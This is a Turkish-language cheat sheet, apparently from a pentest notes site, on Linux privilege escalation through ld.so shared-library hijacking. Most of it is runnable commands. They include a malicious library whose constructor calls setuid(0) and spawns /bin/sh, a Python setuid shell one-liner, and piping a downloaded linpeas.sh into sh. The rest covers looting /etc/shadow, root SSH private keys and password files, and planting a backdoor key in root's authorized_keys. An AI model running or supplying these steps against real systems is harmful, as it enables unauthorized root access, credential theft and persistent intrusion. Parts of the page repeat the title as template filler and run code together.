ld.so privesc exploit example
linux privesc
ld.so privesc exploit example Linux yerel yükseltme / post-erişim notudur. Amaç rastgele exploit değil; izin, SUID, capability, cron/systemd ve yazılabilir yolları enumerasyonla çıkarıp kanıtlanabilir root shell üretmek.
Metodoloji
Section titled “Metodoloji”-
Kimlik, kernel, sudo -l, SUID/cap ve dinleyen portları çıkar.
-
ld.so privesc exploit exampleile ilgili yazılabilir config/binary/timer/group yüzeyini doğrula. -
Primitifi PoC ile root veya eşdeğer yetkiye çevir.
-
Shadow/SSH/history loot al; pivot notunu yaz.
Durum envanteri
Section titled “Durum envanteri”ld.so privesc exploit example için önce kimlik, kernel, sudo ve SUID yüzeyini kilitle. Enum çıktısı sonraki hipotezleri besler; kör exploit denemeden önce harita çıkar.
id; whoami; hostnameuname -acat /etc/os-releasesudo -l 2>/dev/nullfind / -perm -4000 -type f 2>/dev/nullgetcap -r / 2>/dev/nullps auxwwss -lntpcat /etc/crontab; ls -la /etc/cron.* /var/spool/cron 2>/dev/nullenv | sortSUID / capability / library
Section titled “SUID / capability / library”Yüksek bit veya capability taşıyan binary, GTFO ve library hijack ile root’a çevrilir.
find / -perm -4000 -type f 2>/dev/nullfind / -perm -2000 -type f 2>/dev/nullgetcap -r / 2>/dev/null | rg 'cap_setuid|cap_sys_admin|cap_dac'ls -l $(which python3 perl ruby php vim find tar nmap) 2>/dev/nullldd /usr/local/bin/vuln 2>/dev/nullreadelf -d /usr/local/bin/vuln 2>/dev/null | rg -i 'rpath|runpath|needed'cat /etc/ld.so.conf /etc/ld.so.conf.d/* 2>/dev/null#include <stdio.h>#include <stdlib.h>#include <unistd.h>__attribute__((constructor)) void init(){ setuid(0); setgid(0); system("/bin/sh");}gcc -shared -fPIC -o /tmp/libevil.so evil.cpython3 -c 'import os; os.setuid(0); os.execl("/bin/sh","sh")'Yazılabilir yollar ve otomatik enum
Section titled “Yazılabilir yollar ve otomatik enum”find / -writable -type d 2>/dev/null | head -n 60find /home /opt /var/www /tmp -type f -readable 2>/dev/null | head -n 40ls -la /etc/passwd /etc/shadow /etc/sudoers 2>/dev/nullcurl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | shpspy64 -pfRoot sonrası loot
Section titled “Root sonrası loot”cat /etc/shadowls -la /root/.ssh; cat /root/.ssh/id_* 2>/dev/nullfind / -name '*.kdbx' -o -name '*id_rsa*' 2>/dev/null | headhistory -a; cat /root/.bash_history ~/.bash_history 2>/dev/null | tailsshd -T 2>/dev/null | headManuel doğrulama komutları
Section titled “Manuel doğrulama komutları”# ld.so privesc exploit example — hedefe özel varyant 5ls -la /tmp /dev/shm /var/tmpfind /var/log -type f -readable 2>/dev/null | headgrep -Rni 'password\|passwd\|secret\|api_key' /home /opt /var/www 2>/dev/null | head -n 40lsattr -a /etc/passwd /etc/shadow 2>/dev/nullcat /etc/fstab; mount | rg 'noexec|nosuid|nodev'iptables -L -n 2>/dev/null | head; nft list ruleset 2>/dev/null | headlast -a | head; w; whofind / -name '*.bak' -o -name '*pass*' 2>/dev/null | head -n 30python3 -c 'import pty; pty.spawn("/bin/bash")'Stabilize shell
Section titled “Stabilize shell”script -qc /bin/bash /dev/nullexport TERM=xterm; stty rows 40 columns 120ssh-keygen -t ed25519 -f /tmp/k -N ''echo $(cat /tmp/k.pub) >> /root/.ssh/authorized_keys # root sonrasıChecklist
Section titled “Checklist”[ ] id/uname/sudo -l alındı[ ] SUID/cap/cron/systemd tarandı[ ] Yazılabilir config/binary doğrulandı[ ] Privesc PoC ile root kanıtlandı[ ] Credential/SSH loot paketlendiNotlar
Section titled “Notlar”ld.so privesc exploit example sonuçları sürüm, yapılandırma ve koruma katmanına göre değişir. Komutları hedefe göre uyarla; başarılı zinciri adım adım kaydet.